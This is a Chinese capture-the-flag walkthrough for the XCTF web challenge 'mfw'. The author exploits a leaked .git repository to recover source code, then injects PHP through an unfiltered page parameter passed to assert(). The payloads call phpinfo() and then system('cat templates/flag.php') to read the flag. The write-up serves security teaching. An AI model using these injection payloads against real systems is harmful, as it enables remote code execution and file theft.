【攻防世界】十八、mfw

【攻防世界】十八、mfw_第1张图片

步骤

打开所给场景:
【攻防世界】十八、mfw_第2张图片
点击发现一共有三个页面,是靠传递page参数来显示内容
【攻防世界】十八、mfw_第3张图片

【攻防世界】十八、mfw_第4张图片
【攻防世界】十八、mfw_第5张图片
查看网页源代码发现还有隐藏的flag页面,但是啥都不显示
【攻防世界】十八、mfw_第6张图片
【攻防世界】十八、mfw_第7张图片
试着输入其他字符则显示错误页面
【攻防世界】十八、mfw_第8张图片
很可能设置的是白名单,回过头来发现about页面说明使用了git,试着输入.git查看有没有源码泄露
【攻防世界】十八、mfw_第9张图片
确定了有git源码泄露,不知道为啥刷新了一下样式变了
【攻防世界】十八、mfw_第10张图片
使用lijiejie的工具GitHack:https://github.com/lijiejie/GitHack来下载源码
注意:代码使用python2写的,记得使用正确的版本才能用
【攻防世界】十八、mfw_第11张图片
可以看到有五个文件,打开flag.php文件也没有发现flag
【攻防世界】十八、mfw_第12张图片
审计一波index.php代码



if (isset($_GET['page'])) {
	$page = $_GET['page'];
} else {
	$page = "home";
}

$file = "templates/" . $page .".php";
// templates/').phpinfo();//       "strpos('templates/').phpinfo();//
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
//strpos函数的含义是查找..在$file中第一次出现的位置,没找到就返回false
//assert是一个断言函数,里面的内容会被当做代码执行,用来判断表达式是否成立,返回true或者false
//上面的意思就是$file里面包含..时,结束程序并返回Detected hacking attempt!底下附图
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
//$file是否存在

?>
<!DOCTYPE html>
<html>
	<head>
		<meta charset="utf-8">
		<meta http-equiv="X-UA-Compatible" content="IE=edge">
		<meta name="viewport" content="width=device-width, initial-scale=1">
		
		<title>My PHP Website</title>
		
		<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/css/bootstrap.min.css" />
	</head>
	<body>
		<nav class="navbar navbar-inverse navbar-fixed-top">
			<div class="container">
		    	<div class="navbar-header">
		    		<button type="button" class="navbar-toggle collapsed" data-toggle="collapse" data-target="#navbar" aria-expanded="false" aria-controls="navbar">
		            	<span class="sr-only">Toggle navigation</span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		            	<span class="icon-bar"></span>
		          	</button>
		          	<a class="navbar-brand" href="#">Project name</a>
		        </div>
		        <div id="navbar" class="collapse navbar-collapse">
		          	<ul class="nav navbar-nav">
		            	<li <?php if ($page == "home") { ?>class="active"<?php } ?>><a href="?page=home">Home</a></li>
		            	<li <?php if ($page == "about") { ?>class="active"<?php } ?>><a href="?page=about">About</a></li>
		            	<li <?php if ($page == "contact") { ?>class="active"<?php } ?>><a href="?page=contact">Contact</a></li>
						<!--<li <?php if ($page == "flag") { ?>class="active"<?php } ?>><a href="?page=flag">My secrets</a></li> -->
		          	</ul>
		        </div>
		    </div>
		</nav>
		
		<div class="container" style="margin-top: 50px">
			<?php
				require_once $file;//包含$file变量
			?>
			
		</div>
		
		<script src="https://cdnjs.cloudflare.com/ajax/libs/jquery/1.12.4/jquery.min.js" />
		<script src="https://cdnjs.cloudflare.com/ajax/libs/twitter-bootstrap/3.3.7/js/bootstrap.min.js" />
	</body>
</html>

【攻防世界】十八、mfw_第13张图片
经过代码审计可以发现,page没有一点过滤,我们可以尝试一波注入,构造
payload:?page=').phpinfo();//
原理:使用')符号将strpos函数闭合,然后拼接上我们想要执行的代码phpinfo();再用注释符//将后面的内容全部注释
assert("strpos('templates/').phpinfo();//.php', '..') === false") or die("Detected hacking attempt!");
执行payload:
【攻防世界】十八、mfw_第14张图片
发现可以成功,再次构造payload:?page=').system('cat templates/flag.php');//
执行之后查看源代码,发现flag
这里最坑的就是flag在源代码里,让人以为失败了
【攻防世界】十八、mfw_第15张图片

总结

git源码泄露
命令执行
代码注入

你可能感兴趣的:(#,攻防世界WEB,git,git源码泄露,命令执行,代码注入)